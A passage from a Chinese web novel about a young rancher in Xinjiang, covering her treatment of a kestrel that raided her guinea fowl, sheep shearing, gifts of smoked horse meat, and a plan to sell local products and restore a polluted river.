估计也是因为这，它虽然也经常在家里待着，但要么就是躲起来，要么就是偷偷溜走又偷偷溜回来，反正神出鬼没的。 就像这里，离生活区那边有好几公里的路程，她都是骑三轮过来的，结果这小家伙还能突然出现。 姚新泉把裤子膝盖那里的一个魔术贴粘着的口袋打开，小白鼬赶忙钻了进去贴着她的腿趴着，姚新泉摸了摸小白鼬的脑袋。小家伙在外面伙食还挺好，油光水滑的。 逗了一会儿后她又躺下了，可没一会儿突然听到了一阵骚乱，她赶忙爬起来就见一只鸟冲向珍珠鸡群，小鸡们惊恐地四散逃跑。 那鸟一只爪子抓着一只鸡冲上天空，连叫声都充满着得意。 姚新泉要气炸了，她捡起两块石头朝那鸟扔了过去，那鸟抓到猎物后不仅没飞走，还在他们头上盘旋，炫耀意味十足。 它灵活地躲避开了石头后嚣张地冲姚新泉俯冲了过来，姚新泉缓缓抽出腰上的马鞭，啪地甩在地上，空气像是都被撕裂了一般。 那鸟不知是不是感受到了威胁还是怎么突然一个急刹车又冲向云霄，姚新泉暗暗咬牙，要是它过来就好了，她非得一鞭子将那个臭鸟打下来不可！ 正当她憋气时突然听到一声鸟鸣，就见一道身影如利箭一般刺向那只鸟，那鸟明显紧张了，飞行的动作都不免歪歪扭扭起来。 姚新泉本就有猜测，等那只猛禽近了后她高兴得跳了起来，“小金！” 感受到裤子被小白坠得快掉下去了，姚新泉赶忙往上提了提。 她看准两只鸟的位置往那边跑去，果不其然，小金高速俯冲靠近那只鸟后爪子便抓在了对方身上。即便隔得老远姚新泉也能看得出来，那爪子肯定是嵌到肉里了！ 她是近距离看过小金的爪子的，轻轻松松撕裂猎物没有任何阻碍！ 抓住那只鸟后，小金张开了她的大翅膀不停地拍打着猎物，那只鸟没有任何还手的余地。 它甚至无法稳住自己的身形，更无法抓紧爪子里的珍珠鸡了，看两只小鸡从天上掉下来，姚新泉赶忙估摸着位置去接。 好不容易接到一只后这一看姚新泉的火气就上来了，死了。 另一只摔在地上的更不用说，估计骨头都断完了。 小金本还想着能把姚新泉的财产保护好呢，可见它直接丢了小鸡也气得不行，哪怕控制住了它，尖利的鸟喙直直冲着那只鸟的眼睛而去！ 我让你抓！ “小金不要！” 听到姚新泉的声音后小金动作顿了顿，抓着那只鸟便朝姚新泉冲了过来，到了她身边后把鸟往地上一扔，自己小心翼翼缩好身体落在了姚新泉肩膀上，姚新泉被压得直往一边倒。 “别是死了吧？” 她满脸嫌弃地小心翼翼凑近那只鸟，见它虽然身上都是伤，但还好好活着又是一阵来气。 “红隼”，果然是红隼，要不是知道这玩意儿好赖也是个国家二级保护动物，她才不管小金弄不弄死它呢！ 她歪着头蹭了蹭小金，“你怎么这么好啊宝宝？” 小金得意地晃了晃，姚新泉被压得又歪了下身子，这下它赶忙站好，随后不停用自己的鸟喙给姚新泉梳头。 三轮车上放了有铁锨，姚新泉挖了个坑给两只珍珠鸡埋了。看着那个小鼓包姚新泉更生气了，恨恨瞪了红隼一眼，这个小王八羔子，好不容易孵出来的小鸡，养了这么久没见死，它一下就给自己弄死俩！ 她拎着红隼的翅膀把它放在后车厢里，这家伙被小金揍得根本飞不起来，也不怕它逃了。 姚新泉坐在三轮车上，把小金抱到自己腿上让她蹲好，感受到裤子口袋里的小白鼬紧张得都在发抖，她又赶紧摸了摸它安抚了一会儿，开着三轮车回去了。 第96章 车一停下来姚新泉把口袋打开,小白鼬跟一道闪电一般消失在姚新泉眼前，姚新泉没忍住笑了起来。她碰了碰小金的鸟喙，“你看你凶的,小白鼬被吓得都不敢回家了！” 小金歪着头蹭了蹭她的手,眼中满是不屑,她都没有吃了它,有什么好害怕的！ 姚新泉把小金抱在怀里,满脸都是无奈,“宝啊，你长得太快了，我都快抱不住你了！” 小金缩了缩翅膀，往姚新泉怀里挤,姚新泉失笑,“行了行了你还是个小宝宝好吧？” 她把小金放到师月江之前给她做的木叉子上面后回头去找那只红隼,小金跟着她又飞了出来。 姚新泉掐着红隼的翅根，像抓母鸡一样把它拎起来，红隼灰头土脸、生无可恋,完全不敢反抗。 姚新泉哼了一声,她可还气着呢！ 想了想她回头叮嘱小金，“它抓了咱家的鸡,我还得给它治病,回头等它好了之后你看着它,让它在家里干半年的保安才准放它走知道吗？” 小金歪了歪脑袋也没什么表示,但不知道为什么红隼缩了缩脖子，可能胆小吧！ 姚新泉把它放到了一块儿板子上，用手拨拉着它的羽毛，有小金在一旁虎视眈眈,倒也不担心被红隼啄掉手指。 “小金你这下手还挺收敛的啊！” 红隼不敢置信地看着她，姚新泉戳了戳它的脑袋，“你就外伤看着严重，又没骨折又没伤到内脏，你还要什么自行车？” 要是红隼会说话那肯定要破口大骂，她差点叨我眼睛你是一点没看到啊！ 姚新泉哼了一声，“你在我牧场上当强盗还不能揍你一顿了啊？” 红隼身上的伤口不深，现在已经不怎么出血了，她拿了生理盐水过来，用针筒吸满后小心翼翼地冲洗着伤口，把羽毛碎片跟一些碎肉给清洗掉。 之后用碘伏给它涂抹了一遍，红隼想躲，可是对上小金的目光后它缩了缩脖子，老实蹲在原地不动了。 姚新泉又给它身上抹了点消炎的外用药跟美洛昔康，鸟对疼痛很敏感，这小家伙在自己给它清创的时候都没怎么动，已经算是勇敢了，所以稍微给它吃了点止疼药。 红隼：有没有可能是不敢动？ 又给它喂了点儿葡萄糖液，没特意给它喂饭，晚点儿跟别的一起吃吧！ 之后姚新泉找出了当时警犬繁育中心那边给自己的狗笼子，因为家里狗狗们没有笼养，所以这都没用得上就清洗干净放在一边了。 又擦了擦后姚新泉小心把红隼放到了笼子里，上面给它搭了块儿布，稍微阻挡了一下小金那吃鸟的目光，挡住后她能感觉到红隼明显放松了许多。 姚新泉嗤笑，“就你这胆子还敢来打劫？” 没再管红隼，姚新泉抱着小金出去 了。 姚新泉回客厅坐了一会儿，跟莱尼面面相觑，莱尼眨了眨眼后靠近她把头搭在了姚新泉的膝盖上。 姚新泉摸了摸大猫的脑袋，“你说我现在干点啥呢？” 突然闲下来姚新泉还有点茫然，小金看不惯姚新泉摸别人，跳到了莱尼头上把她吓了一跳。 可见莱尼表情没什么变化，看着也不疼就知道小金是注意过的，她戳了下小金，没再理她起身去拿东西。 “系统，后面五天都是晴天是吗？” 系统很快给了肯定的回答，姚新泉这下放心了，她把剪刀等东西都带好后又装了几桶水在车上，去找马合木提江他们了。 那四百多头羊没什么明显的中毒症状，天气越来越热，必须得剃毛了。 马合木提江他们的工具就带在身边，见姚新泉决定今天剪毛两人也跟着忙了起来。 姚新泉靠近一头小羊，安抚了下它的情绪后将它撂倒在地，她动作很谨慎，没有压到对方的肚子也没有让它情绪激动。 玛依拉见到忍不住感慨，“这真是放羊的一把好手，你看羊都不怕她！” 再看他们俩，小羊好像总想着爬起来跑掉，就得她按住小羊的四肢，又不敢使劲儿，唉！ 姚新泉把试图把脑袋搭在自己胳膊上的小羊推开，表情很是无奈，这小家伙也有点太不怕人了…… 晚上八点，师月江看着做好的饭，再看着外面大亮的天跟不着家的姚新泉，他无奈叹了口气。 “小金，你知道新泉在哪吗？你带我去呗！”他好几天没去马合木提江他们那边了，确实不太清楚现在在哪放牧。 小金歪着脑袋看了他一会儿便往前飞走了，师月江也不知道它是不是有认真在给自己带路，但是感觉应该就是这个方向他即便心存怀疑但还是在后面跟着，直到看见远处的几个人。 “你怎么找过来了？”姚新泉有些惊讶。 师月江笑了笑朝头上指了指，“小金带我来的，不回去吃饭吗？” 一下午才剪了五六十头，还有不少羊都没剪呢！不过她也不勉强，收起工具后跟着师月江便离开了。 玛依拉去做饭，马合木提江把不同部位的羊毛装在不同地方，狗狗跟着他们回去吃饭，吃完了再过来值班。 天气热起来之后几个小家伙都特别有干劲，晚上也不愿意在家里睡，要守着不回来的牲畜们，姚新泉自然不会打击他们的积极性了。 看着师月江备好的面剂子姚新泉可以说是瞠目结舌，“你都会做拉条子了？” “抽空学了学”，他说得谦虚但姚新泉看出他眼中的得意了，忍不住啧啧了两声，“你可以啊，我一个本地人我都不会扯面，我上次做我都是用手搓，把面条搓细，你这真可以！” 她又看了一眼备好的菜，眼睛亮了，过油肉拌面！ “你可以！”姚新泉满眼赞叹，再看一旁的凉菜，“你还连皮辣红都拌了？” “学了点新省菜，你吃了这么多年，不知道喜不喜欢”，师月江从前没做过饭，也没机会做饭，虽然不至于觉得做家务做饭浪费自己的时间，但也确实觉得可以去做一些更有意义的事情。 可当他真做起来之后才发现并不是这样的，哪怕自己现在水平一般，但是在做菜的过程中还是可以感受到一股平静，再琐碎的准备工作也不麻烦，反而很有趣。 姚新泉把给狗狗们蒸好的饭端出来凉着，又煮了几块儿拆解下来的鸡胸肉，“今天有个红隼跑咱们牧场抓了两只鸡，差点被小金把眼睛叨瞎掉！” 师月江挑了挑眉，“好孩子！” 姚新泉瞪了他一眼，“那红隼我救回来了，回头把那肉凉一凉喂给它，我跟小金说好了，到时候让它看着红隼，让红隼在咱家打工半年还债！” 师月江又把今天自己那边的进展跟她聊了聊，姚新泉吃完饭后去看了看炽焰，把药给它腿上换上后又喂了两颗糖。 一旁的平安也伸着脖子想要，姚新泉看得满眼笑意，“怎么只有你自己在这？皮皮呢？你陪了炽焰一天吗？” 她小心揭开了炽焰肚子上的纱布，这一看眉头便皱了起来，伤口有点红肿啊！ 姚新泉摸了摸他身下的垫子跟粗布，都有点潮湿，姚新泉无奈，“你怎么就热成这样啊！” 现在温度确实高了起来，但最高温没超过30摄氏度，这家伙怎么就出了一身的汗啊！ 姚新泉无奈接了盆凉水过来，又招呼师月江站在一旁，“我把这边的粗布解下来，然后你拽着不要松手，我给它把身上稍微擦一擦”。 身上全是汗对他的康复也不好，这伤口都捂得有点肿了。 山上的自来水温度很低，手放进去都有点冷，姚新泉投了遍布子后小心避开他肚子上的伤口，给身上其他地方都快速擦了一遍。又拿生理盐水清洗了一下他的伤口后把自己熬煮的药膏贴了上去。 “我不给你绑纱布了，你咋就热成这样了啊？” 姚新泉很是不理解这家伙什么情况，担心他发烧又赶紧给他测了个肛温，确认这小子没发烧她才松了一口气。 一回头就见炽焰在咬她的衣服，衣角多了两个洞，姚新泉无奈，她拍了拍炽焰的脑袋，脾气真臭！ 又去看了小牛，小牛犊性格温驯，身体底子也还不错，姚新泉又给他艾灸了一遍后，又把药喂了，再去检查了一遍那八十多头羊跟快临产的牛，确认没什么大问题这才松了口气。 她回头朝师月江叹气，“就咱俩养的话这基本就是极限了”，只是放牧还好，家里几个小家伙都很能干也很贴心，马合木提江两人也比较负责，目前还没饱和。 但问题是家里小动物好像多灾多难的，她的精力很多时候都要分在那些生病的小动物身上。养殖就是这样，不知道什么时候就会出什么问题，如果再多来几只，那真是顾不上了啊！ 目前家里八十多只羊、八十多头待产母牛、炽焰、小牛犊、红隼，虽然不是每一个都需要她密切关注，但是就算只是过眼快速检查都要花很多功夫，真的不能再多了，真的忙不过来！ 第97章 跟庞教授商量好要买的鱼类跟河蚌数量后师月江就没有再跟着他们了,一开始跟着他们除了好奇之外，另外就是担心他们不会把牧民的利益放在前面。 没办法，师月江太懂这些了,别说十来年之后,两三年之后人家都未必是现管,先把目前的局面控制下来最重要。 但不管如何,既然已经定下了大家都比较能接受的方案,师月江也没什么可担心的了。 姚新泉带着师月江跟马合木提江夫妻两个剃了三天多才把毛都剪完,姚新泉看着那一袋子毛松了口气，“你们回家歇上几天吧，过年，孩子都放假回来了,你们也去陪陪他！” 明天就是古尔邦节,姚新泉给两人放了假,让他们回去过节，两人在牧场上放了几天的牛羊。 姚新泉坐在地上看着身边的蜜蜂突然问，“咱们养的蜜蜂应该可以割一波蜜了吧？” 师月江摇了摇头,“我前两天去看过,蜜脾里不算多，还得给 蜜蜂留一些,咱们割也割不了多少,等等吧！” 姚新泉点头,有些遗憾,行吧！ 她还想着牧场这时候的花最多，蜂蜜应该有不少，而且质量很好呢！ 两人晚上把牛羊赶回去就听到毛毛的叫声，姚新泉去一看便笑了起来,“你们怎么来了？” 来人正是巴合提亚尔，他笑着朝姚新泉点了点头，“你家的狗养的真好，牧场上就得用这样的狗！” 姚新泉拍了拍毛毛的头示意他回去，引着巴合提亚尔夫妻进牧场。 “努尔兰出院了，我们就想着赶紧来谢谢你！”巴合提亚尔夫妻脸上满是诚恳，“要不是你，我们根本没注意到孩子得了布病，再拖下去谁也不知道会怎么样啊！” 他叹了口气，“国家好啊，防疫站那边跟医院商量了我们的医药费免掉了一些，村里也给解决了一些，家里牛羊不用卖了啊！” 姚新泉领着两人往屋里去，师月江给两人倒了茶，两人笑着接过却没喝，“我们过来感谢你们，家里也没什么好东西，我们就带了些马肠子、熏马肉还有马奶酒，咱们这儿没几个养骆驼的，我带了些骆驼奶做得酸奶，不知道你们喝不喝的惯。” 姚新泉看着那估计五六公斤的大罐子有些无奈，“这也太多了！” 她低声跟师月江翻译了一下，师月江看着那加起来估计有小二十公斤的肉也是瞠目，太多了啊！ “得回些什么吧？” 老两口家里条件应该一般，看他们身上穿的旧袄子，靴子也都看不出本来的颜色了，这么多肉也值不少钱呢！ 姚新泉想要给钱买但巴合提亚尔不同意，他板着脸，“努尔兰的命是你救得，你必须得收下！” 姚新泉翻看了下马肠子跟熏马肉，突然问，“你家里还有吗，我们想买一些？” 他家这马肉熏得真不错，姚新泉家以前也熏过，跟他们家做得可没法儿比。 巴合提亚尔家的熏马肉外表呈棕红色，带着一种自然熏制后才有的光泽，里面脂肪部位是淡黄色的。 整体没有任何霉斑，也没有发黑或者变色的部位。姚新泉之前见过有些人家的腊肉，上面长着厚厚的霉斑，虽说人家讲洗干净了也能吃，但她总觉得膈应。 其中一块儿肉应该是切下来的，从切面看纹理清晰，肉质也非常紧实。 靠近了还能闻到浓郁的烟熏香味以及马肉的独特香味，他家熏制的木头应该也是有讲究的，很特别的木质味道。 姚新泉掏出自己的小刀削了薄薄一片下来吃了一口，咸淡适中，肉质是干燥的，但是并不柴，很有嚼劲也很香。 姚新泉又削了一块儿给师月江，师月江吃了一口后也点了点头，“很香，跟牛肉那些不一样的口感。” 姚新泉笑了笑把小刀擦干净收起来，“再给你哥寄一点吧？我看上次寄的蜂蜜他就蛮喜欢的”，不仅给她买了不少书送过来，还又给她送了不少牧场上用得上的工具跟设备，价值不知道是那些蜂蜜跟蘑菇的多少倍。 师月江笑得很是开心，“你能想到我哥我只有高兴的份儿！” 姚新泉白了他一眼又看向夫妻俩，“我们打算给哥哥送一些，他们在内地，咱们当地的东西他们未必能吃到！” 巴合提亚尔听完她说要买后便皱着眉摇头，“不卖，不卖，去家里拿，给亲戚送的就去家里拿！” 姚新泉给师月江翻译了一些，师月江也叹气，“这也太大方了！” 姚新泉笑了笑安抚两人，“你们的谢礼我收到了，但是我不能占便宜啊！这说出去了人家都要笑我的，不仅自己吃，还连吃带拿的，说出去都不好听！” “这事儿你听我的，我们就按市场价买，你如果不同意的话那这些你也拿回去”，她指着桌子上的马肉道。 巴合提亚尔的目光有些无奈，只能点了点头，“那行，你家里这些我都买一些，我跟着你们回去拿？” 姚新泉骑着三轮车，夫妻俩骑马离开了，师月江看着几人的背影犯愁，还是得学点哈语或者维语啊，不然跟人沟通都费劲儿！ 因为可以空运所以姚新泉又买了两大桶骆驼奶酸奶，把巴合提亚尔家里的马肉跟马肠子买了一大半后又买了不少酸奶疙瘩这才回去。 巴合提亚尔看着手里的钱无奈，“咱们本来是去谢人家的！” 他媳妇儿倒没想这么多，“有了这个钱，家里也能少卖两头羊给努尔兰娶媳妇儿了！这马没亏！” 他家去年夏天去放牧的时候摔死了一匹马，马肉比别的要贵，他们认识的人里买的不多，所以基本都熏制或者灌马肠子了。 当时她可心疼坏了，啥不能吃就非得吃马肉啊？ 香？那吃得都是钱能不香吗？ 巴合提亚尔没理他，把钱塞给她后去放牧了。 姚新泉收到了东西后赶忙让师月江给他哥送到车站，他们县没有机场，但是市里有，他们这边联系好之后把东西送到车站，人家直接给拉到机场去，安检后登记，师星野那边再安排人接收就成。 第二天下午，师星野看着助理让人拿回来的两个大塑料袋里装的肉以及两桶酸奶无奈地笑了。 “给我拿个杯子来，再把这一桶放到冰箱里去”，师星野提起桶给自己倒了一杯酸奶。 虽然他很有钱，但是并不怎么注重吃这一方面，所以还没有尝试过骆驼酸奶是什么味道。 师星野端着杯子闻了闻，没闻到什么异味，这才尝试性地喝了一口，这一口下去没忍住眉头便皱了起来，好酸！ 他细细品了品好像除了酸味以及奶制品的香醇之外还有一点咸？ “你尝尝？”他给助理倒了一杯，助理双手接过后喝了一口表情很是感叹，“味道很不错啊！跟牛奶酸奶的口感不太一样！” 师星野皱了皱眉，“不觉得酸吗？” 助理笑了起来，“师总，自家发酵的酸奶跟外面买的口感是不一样的，就算是牛奶的酸奶也会比外面卖的酸很多，里面糖很少的，你如果嫌酸可以放些白糖”，他虽然称不上嗜酸，但是对酸味的接受度明显比师星野要高很多。 师星野有些迟疑，他去厨房找了一圈拿了个罐子出来给自己放了小半勺糖，想了想又放了小半勺，搅拌均匀后再尝了一口，这下眉头就舒展开了，“比牛奶的好喝。” 知道师星野让自己去拿什么东西之后助理便提前做了准备工作，听到这便接着道，“还不止呢，骆驼酸奶的营养成分其实也很好，骆驼酸奶的蛋白质结构跟牛奶的不同，虽然含量更低，但是更容易消化吸收，有些人一喝牛奶甚至是酸奶就腹泻，这是乳糖不耐受，但是喝骆驼酸奶的话这种可能性就会低很多。” “而且胆固醇低，维C高，维B12跟叶酸都高还有不少的好处，只是产量低价格高，所以不好推广。” 师星野听罢摇了摇头，他不太赞同不好推广这个结论，“未必，现在有钱人越来越多了，大家没那么缺油水了，未来想必肥胖人群也会越来越多，大家会相对更追求健康生活，总是有它的目标人群的。” 不过两地太远了，就算有利可图他也没心思放在骆驼奶上面。 他的目光看向了那袋包装简陋的马肉上忍不住笑了一下，他这个弟妹啊！ “王阿姨，你把这些熏马肉跟马肠子处理一下吧！”怕对方不知道怎么做，师星野又把姚新泉专门电话告诉他的做法讲了一遍，“熏马肉你先切一小盘薄片来，给我切点洋葱跟蒜片配上。然后再切一部分上锅蒸上十来分钟，再调点蘸水，另外再用辣椒洋葱孜然炒上一盘。” “马肠子的话煮上一根，小心点别煮破了然后切片，再给我煎上几片来，煮马肠子的汤里放点儿胡椒粉也端上来。” 王阿姨虽觉得这吃法有些粗犷可还是老实点头，师星野见助理好奇便笑道，“是月江的女朋友，很热心的一个孩子，跟我说了做法，我肯定得试试的！” 第98章 阿姨先把切片的马肉和蒜片、洋葱丝端了上来,师星野示意助理坐，他夹了一块儿很薄的马肉放到嘴里，眼睛不禁亮了,这马肉比他想的还要好吃！ 也不知是用什么木头熏制的,马肉不止带着木质熏香,甚至还带了一些清甜,口感跟培根有一丢丢类似,但是却更有野性,纤维也更紧致。 虽然因为切片切的非常薄，不会说吃着塞牙或者咬不动，但是还是很有嚼劲。 马肉本身应该是腌制过的，带了一点咸味,不重,却更香了。 他又夹了一筷子洋葱丝配着一起吃,阿姨挑的洋葱是相对来说更甜一些的，生洋葱丝不显得辛辣，反倒是多添了几分爽脆口感。而且洋葱的回甜也平衡了马肉本身的油脂和厚重感。 他又夹了一片蒜片,放到嘴里前有些迟疑,师星野从不生吃蒜，接受不了那种口感和味道。 果不其然,虽然夹了蒜片味道特别了一些,但是他还是不是很喜欢。可一抬头就见助理夹起四五片蒜片带着马肉一起放入嘴中,香的眼睛都眯起来了。 感受到师星野的目光,助理以为他嫌弃自己吃大蒜了，赶忙解释，“我过会儿就刷牙，保证没蒜味儿！” 师星野无奈一笑,他不是这个意思…… 他又夹了一片刚端上来的香煎马肠子，他仔细看了看这马肠子，跟平常吃的猪肉香肠不太一样，但估计大体做法没什么太大区别，不过里面的内馅比起猪肉的好像更大粒一些。 果然，吃进嘴里后，碎肉的存在感很强，香煎之后外面的肠衣微焦，但还是很有韧性，带着轻微的烟熏香，一口咬下去能感受到外皮的脆韧、内馅的油香以及嚼劲。 马肉的膻味某种程度上其实比牛羊肉还要重一些，不过他俩都还挺喜欢的，两个大男人饭量也不小，没多久便把阿姨做得几道菜一扫而空，还一人喝了一碗煮马肠子的汤。 师星野笑，“这也算是原汁原味了啊！”不知道弟弟在那边是不是也在过着这样的生活。 “你觉得北京这边能卖的开吗？” 助理一听便知道他是打算入驻公司新开的那几家超市了，他想了想还是道，“不一定能卖的开，但是总会有喜欢吃的人。” 这话说的取巧，不过师星野也没生气，因为事实就是这样的。 马肉的问题很多，首先就是它的接受度比起猪肉跟牛羊肉这些来说要小上不少。其次就是价格了，马肉的价格比起牛羊肉来可高出了不少呢！ 拿目前的情况来说，北京这边猪肉基本每斤在两块五左右，牛羊肉的话大概是在三块到五块，而马肉的话每斤差不多要五到七块了！ 本身就不是吃惯了的肉，还这么贵，可想而知是没什么市场的！ 但是师星野不在意这个，对于做这种零售业来说，产品的种类越多越好。 你有我这次未必会买，但是如果我几次都没在你家找到我想要的东西，那我下次就不会再来了。 想到这里师星野便有了主意，他抽空给师月江打了个电话。 师月江听了他的话后有些迟疑，“你说让我去做这个生意？” 见姚新泉看了过来，师月江赶忙朝他招了招手让她过来，“哥，我让新泉跟我一起听啊！” 师星野有些无奈，更有些想笑。 “新泉啊，是这样的，我的意思是你们当地既然有这个资源，倒不如多收一些本地的特产，我这边有销售途径，放到超市里去卖，不说畅销，肯定会有人买的。” 像是上次给他寄得干蘑菇跟蜂蜜那都是好东西啊！ 姚新泉沉吟了一会儿才问，“大哥你的意思是需要我们做这个事情还是说也可以找别人做？” 她的确定对方的想法，师星野帮了她不少，如果说师星野是自己想做的话，那他们俩就算忙一点也得在这边帮他弄起来，但如果对方只是想给他们一个赚钱的路子的话，这个钱未必要他们来赚啊！ 师星野见她这么机灵更是高兴了，声音都温和了几分，“不是说要你们做，我是想着你们在本地生活，多两条人脉不是坏处。你俩都志不在此，我没说一定要你们去做，但是借此机会跟政府，哪怕是什么乡镇的政府合作不也挺好的？” 不是说这种小生意他看不上，事实上这种倒买倒卖，掌握了上游的货源，掌握了下游的销售渠道，亏钱的可能性太小了，无非就是赚多赚少罢了！ 但问题是这小两口没一个想做生意啊！ 不说姚新泉了，要是师月江想做生意，他这边有的是师月江可以做得事情，还用得着大老远跑去新省？ 姚新泉明白对方的意思了，她跟师星野道了谢，只说先去联系联系。 挂了电话后她看向师月江，“你说这是咱们自己做好还是让政府牵头？” 她怕师月江自己想做所以还是问了一句，师月江指了指外面，“家里牛要生了，再过一两个月羊也要生了，那么多事情咱们哪里抽得出时间去跑？” 就算他们成立一个公司，人家会带着自家的熏肉专门跑到他们公司来卖钱？更多的还是要下乡去收吧？ 他们哪来的时间？ 姚新泉点了点头，她也不想干，但是不得不说，对于牧民来说这是一条挺好的赚钱路子。 牧民一年到头赚钱的也就是卖牲畜的时候，每次看着好像赚了一大笔，但是实际上回头来看，买小羊羔、小牛犊和马驹要钱，防疫治病要钱，饲料要钱，自己的生活也要钱。一旦出现什么不可控的疾病或者伤情，能留下肉都算是好的了，搞不好血本无归啊！ 卖熏肉的话可不是多出了一条赚钱的路子？就算他们在游牧过程中都可以做的！ 姚新泉不想放弃，虽然说达则兼济天下，她也不觉得自己现在多成功，但是这种甚至可以算是举手之劳的事情，她觉得可以做。 “我给谢局长打个电话”，谢局长是县工商局的，她不知道这事儿该找谁，不过至少不是一个村或者一个镇吃得下的！ 谢局长那边接了电话听到这个之后立马就心动了，他声音里还挺激动的，“小姚啊，多谢你还想着大家，我这就安排人去办这件事，你确定那边一个县的熏肉都吃得下？” 姚新泉之前问过这个问题所以心里有数，她嗯了一声，“这一波的话可以先收上三五百公斤，拿去那边试试水，看看他们多久能卖完，后续再签订专门的合同尽量按时提供吧！” 既然想做成这门生意，就不可能什么都含含糊糊的，今天我给你20公斤，明天我给你200公斤的，人家超市了也有采购计划的，不可能你说啥就是啥！ 谢局长听了这话心里更稳了一些，刚想说什么就听姚新泉继续道，“咱们这边的野生蘑菇干，像是羊肚菌也可以提供过去，还有野生蜂蜜之类的，你们都先弄上几百公斤样品过去吧，一样的，他们考察一下市场接受度之后再签订专门的合同。” 不等谢局长问她便主动提到价格问题，“价格的话他们这几天应该会派人过来，到时候你们再接触再谈吧，反正不能让咱们老百姓亏了。” 对商人来说就是赚多赚少的问题，对他们底层老百姓来讲，可能多一些钱就能多送家里一个孩子去上学啊！ 采购数量大的话让利是必然的，但是绝对不能亏了老百姓，人家游牧的牧民可以她们苦多了！ 谢局长听了这话心里很是感慨，“你这孩子真是，谢叔真是谢谢你了，你看哪天下山来谢叔家里吃饭？” 两人又寒暄了几句后才挂了电话，谢局长 心里美滋滋的，他们县没有支柱产业，虽说他也不觉得卖熏肉跟干货能让他们县迅速发展，但是每一条赚钱的渠道都是来之不易的啊！ 蚊子大小都是肉，况且这可不是蚊子，最起码也是只母鸡啊！这可是会持续下蛋的！ 他为什么也盯着乌洽会那边，还申请以县的名义去参加？还不是想着如果能多赚点钱大家日子也能好过一些？ 他们县拢共也没几家厂子，之前有一家奶制品厂，还有一家食品厂，屠宰场跟鞋厂，这全是依托于畜牧业而开起来的，就像皮鞋厂，人家用的就是县里的羊皮牛皮。 虽说那几家也不算是什么大型国营厂，历史也就十来年，但是到现在的话也就奶制品厂跟屠宰场还苟延残喘着。 私企的话倒也开了几家，不是谢智对他们印象不好或者他自己思想古板，主要是看看他们都干的什么事情？ 这阵子那污水的事情闹得沸沸扬扬的，人倒是抓起来了，也会做出下一步的处理，但是已经造成的损失怎么办？他们倒是向那个姓刘的追责了，但是看起来事态被控制了，但无论是已经采取的救治手段还是后续会采取的什么其他措施，包括牧民的损失，姓刘的哪有那么多钱赔？ 那么一个有点小钱就折腾着换了媳妇儿，把便宜小舅子搞到自己厂子里来搅风搅雨的蠢货，赚了几个子儿就不知道东南西北了，也没见存下来什么钱，最值钱的就是那几台机器了，剩下啥都没有，拿啥赔？ 想想就头疼！ 所以谢智不太想弄个个体户来收，还是搞个县属国企吧！ 当然了，后续的经营肯定得把把关的！ 第99章 姚新泉没再关心熏肉的事情,她跟师月江正在河边种植物呢！ 庞教授给他们提供了深水区种菹（音同句）草，岸边种芦苇的模式来恢复生态，听了对方的讲解之后姚新泉觉得挺有道理的便同意了。 菹草是沉水植物,其实适合用来净化水质的沉水植物还挺多的,比方说篦齿眼子菜、金鱼藻或者轮叶黑藻,但是相对来说菹草更好。 篦齿眼子菜的粗蛋白含量不如菹草,粗纤维较多。金鱼藻的话蛋白质含量高,但是如果过量投喂容易造成牲畜、家禽肠梗阻。 没错,她种植沉水植物也是打算可以做饲料用的！ 不过庞教授告诫她了，在用作饲料之前拿去做一下检测，确定植物中没有含一些不好的成分才行，姚新泉自然是没意见的。 至于轮叶黑藻的话,那东西生长速度过快,需要定时打捞,姚新泉哪来的那个时间跟精力去定时打捞？ 菹草粗蛋白含量较高，而且抗寒，正常情况秋季石芽自动脱落,春天自己萌发,也不怎么需要打理，一年割几次,可以直接投喂也能加工成草粉或者是青贮饲料都不错。 对于饲料姚新泉是不会嫌多的,品种越多越好,她才能找出最合适、回报率最高的饲料。 养殖不就是为了赚钱嘛,肯定要利益最大化啊！ 至于芦苇的话倒是没办法直接做饲料，不过种植芦苇也是有其必要性的。 河里的沉水植物能净化内源污染，岸边的挺水植物能拦截外源污染，两者结合效果最好。 而且芦苇还有一个好处,不用购买，去另一条河那边挖就成了！ 虽然说庞教授的建议是先岸边再深水，但是领导不想等了，庞教授想了想也不是不行，所以就联系购买了大量的石芽，种植菹草。 虽然说这次的污染是第三方导致的，但是因为那龟孙子现在赔不起，大家也不能等他有钱了再治理，所以只能政府先拨款。 因为姚新泉牧场流经的这一段她是打算养殖水生生物的，所以种植密度比外面稍微高一些，政府不可能全都兜底，再者说了，就算外面的部分，县里拨了一些款，镇上还是得出一些的，所以姚新泉也没想着能接受多少资金支持，不过该她的她也没不要，她还是向生态修复资金里申请了自己应得的。 主要是据姚新泉所了解的，县里拿出来的这笔资金可不是县里账上本来的，而是那刘老板农药化肥厂里的机器以及地皮处理后的款，不要白不要！ 姚新泉跟师月江两人划着小船在河里给正在种植石芽的工人运送石芽。 菹草的种植方式有很多种，比方说种植石芽或者扦插，甚至是直接撒种子，不过相对来说适应大范围种植以及保证成活率的情况下还是种植石芽比较方便。 姚新泉看着在河里工作的人不禁叹了口气，这些都是来打零工的，都不容易啊！河水现在已经十来度了，但是长时间在水里还是冷的。 师月江知道她在想什么，安抚道，“咱们回去熬点姜糖水送过来吧”，他们能做的也就是对这些人好一点，不然呢？别种了？ 姚新泉点了点头，见有人会划船两人便没有再停留了，回去熬了姜糖水后让师月江送过来，姚新泉给今天专门留在家里的两匹哈萨克马套上车后，去给羊送了一波水，又给鸡鸭送了过去，最后是牛。 山上引下来的水没停过，但是水量不算太大，也没办法保证流经整个牧场。今天小动物们放牧的地方就离那边有点距离，姚新泉刚好没什么特别重要的事情便打算给它们送送水。 小金盘旋在头顶上，时不时叫上一声也不知道是不是在对这片牧场宣誓主权。 小白鼬又不知道跑到哪里去了，反正这小家伙整天神出鬼没的。 姚新泉给马儿指明了方向，自己半眯着眼睛靠在水桶上，默默背着昨晚学的知识点，她忍不住感慨了两句，上学时候也就是这个努力程度了。 然后姚新泉又开始反思，早知道她将来要回来搞养殖，那为什么不干脆就学这个专业呢？学什么狗屁管理啊，牧场现在就算加上马合木提江夫妇，也就四个人，是让她去管理这四个人还是去管理家里的小动物们呢！ 不过听着远处点点跟发疯了一样朝自己冲过来的架势她又叹了口气，这臭狗子确实该被管了！ 不等她骂狗，她刚坐直身体就听到点点传来呜咽声，她朝声音看去，就见娜娜一脚踩在点点的背上，嘴咬在了点点的后脖颈处，姚新泉眼皮子跳了跳。 行吧，也不用她管了，有大姐大娜娜在呢！ 